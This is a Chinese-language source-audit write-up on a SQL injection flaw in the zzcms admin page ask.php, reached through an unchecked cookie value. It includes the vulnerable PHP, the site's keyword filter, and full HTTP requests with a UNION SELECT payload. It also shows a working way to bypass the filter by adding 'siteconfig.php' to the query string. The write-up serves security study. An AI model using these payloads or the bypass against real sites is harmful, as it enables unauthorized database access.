1、首先通过Seay源码审计工具发现存在admin/ask.phpSQL注入漏洞
2、根据提示定位到这段代码
<?php
echo "123";
if ($_COOKIE["askbigclassid"] != "") {
$sql = "select * from zzcms_askclass where parentid=" . $_COOKIE["askbigclassid"] . " order by xuhao asc";
$rs = query($sql);
while ($row = fetch_array($rs)) {
?>
<option value="<?php echo $row["classid"] ?>" <?php if ($row["classid"] == @$_COOKIE["asksmallclassid"]) {
echo "selected";
} ?>><?php echo $row["classname"] ?></option>
<?php
}
}
3、可以看到在这段代码当中对Cookie传入的askbigclassid参数并没有做任何的校验,我们可以先在本地数据库尝试执行这段SQL语句
select * from zzcms_askclass where parentid= 1 order by xuhao asc
4、如上图所示,是可以正常查询的,然后我们构造SQL注入的语句,可以看到执行成功
select * from zzcms_askclass where parentid= 1 union select user(),1,3,4,5,6,7,8,9,10,11 order by xuhao asc
5、如此我们就可以构造如下payload进行注入测试
GET /admin/ask.php?do=add HTTP/1.1
Host: www.zzcms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Cookie: askbigclassid=-1 union select user(),2,3,4,5,6,7,8,9,10,11
Connection: close
6、可以看到我们传入构造好的payload后被拦截了,根据返回包中的内容我们定位到以下代码
// zzcms201910/inc/stopsqlin.php
function stopsqlin($str){
if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
$str=strtolower($str);//否则过过滤不全
$sql_injdata = "";
$sql_injdata= $sql_injdata."|".stopwords;
$sql_injdata=CutFenGeXian($sql_injdata,"|");
$sql_inj = explode("|",$sql_injdata);
for ($i=0; $i< count($sql_inj);$i++){
if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
}
}
}
从这段代码中可以看到,首先将我们输入的数据转换为小写,然后调用了CutFenGeXian()函数,跟进看一下
// zzcms201910/inc/stopsqlin.php
function CutFenGeXian($str,$xian){
for($i=0; $i<substr_count($str,$xian);$i++){
if (substr($str,-1,1)==$xian){//去最后一个|
$str=substr($str,0,strlen($str)-1);
}
if (substr($str,0,1)==$xian){//去第一个|
$str=substr($str,1);
}
}
这段代码是对$sql_injdata进行了一个处理($str==$sql_injdata),在stopsqlin()函数中我们可以发现stopwords字段,根据查询发现stopwords为如下内容
// zzcms201910/inc/config.php
define('stopwords','select|update|and|or|delete|insert|truncate|char|into|iframe|script|得普利麻|易瑞沙|益赛普|赫赛汀|日达仙|百泌达|多吉美|拜科奇|赛美维|施多宁|派罗欣|妥塞敏|格列卫|特罗凯|手机窃听器|手枪')
CutFenGeXian()函数呢也是对这段字符串做了处理,最终我们得到的$sql_injdata如下
$sql_injdata=select|update|and|or|delete|insert|truncate|char|into|iframe|script|得普利麻|易瑞沙|益赛普|赫赛汀|日达仙|百泌达|多吉美|拜科奇|赛美维|施多宁|派罗欣|妥塞敏|格列卫|特罗凯|手机窃听器|手枪
7、我们继续跟代码
我们注意到如下代码
// zzcms201910/inc/stopsqlin.php
function zc_check($string){
if(!is_array($string)){
if(get_magic_quotes_gpc()){
return htmlspecialchars(trim($string));
}else{
return addslashes(htmlspecialchars(trim($string)));
// addslashes 在转义字符之前添加反斜线的字符串,主要用于防止SQL注入
// htmlspecialchars 将特殊字符转换为 HTML 实体
}
}
foreach($string as $k => $v) $string[$k] = zc_check($v);
return $string;
}
if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
$_COOKIE =zc_check($_COOKIE);
@extract($_POST);
@extract($_GET);
}
这里是一个全局变量检查,通过zc_check()这个函数将所有传入的GET和POST还有Cookie都进行检测,值得注意的是extract()函数
extract()这个函数可以在上下文中产生一个新的变量,在赋值给一个值,这里可以理解为在上下文中定义一个自己的变量
例如:
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
// $a = Cat; $b = Dog; $c = Horse
然后我们来到最后一段代码
$r_url=strtolower($_SERVER["REQUEST_URI"]);
if (checksqlin=="Yes") {
if (strpos($r_url,"siteconfig.php")==0 && strpos($r_url,"label")==0 && strpos($r_url,"template.php")==0) {
foreach ($_GET as $get_key=>$get_var){ stopsqlin($get_var);} /* 过滤所有GET过来的变量 */
foreach ($_POST as $post_key=>$post_var){ stopsqlin($post_var); }/* 过滤所有POST过来的变量 */
foreach ($_COOKIE as $cookie_key=>$cookie_var){ stopsqlin($cookie_var); }/* 过滤所有COOKIE过来的变量 */
foreach ($_REQUEST as $request_key=>$request_var){ stopsqlin($request_var); }/* 过滤所有request过来的变量 */
}
}
它先会获取我们当前请求的url,然后再进行两次if条件的判断,可以注意到只有第二个if条件为true时才会进行去调用stopsqlin()函数,简单来说就是当第二个if条件为true就会对我们传入的GET,POST,Cookie参数进行过滤,所以我们可以去构造payload去破坏掉这个if条件
strpos($r_url,"siteconfig.php")==0
strpos($r_url,"label")==0
strpos($r_url,"template.php")==0)
配合之前的extract()函数去传入任意一个参数破坏掉第二个if条件即可
我们可以得到一个绕过流程
1.首先获取GET和COOKIE参数(GET传参时必须包含上述if条件中的三个值之一),传入zc_check()中进行过滤 2.然后获取当前请求的url,通过判断,判断失败直接跳过stopsqlin()这个函数,不对危险字符检查,从而绕过WAF限制
构造payload
GET /admin/ask.php?do=add&a=siteconfig.php HTTP/1.1
Host: www.zzcms.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://www.zzcms.com/admin/ask.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: askbigclassid=-1 union select user(),2,3,4,5,6,7,8,9,10,11
Connection: close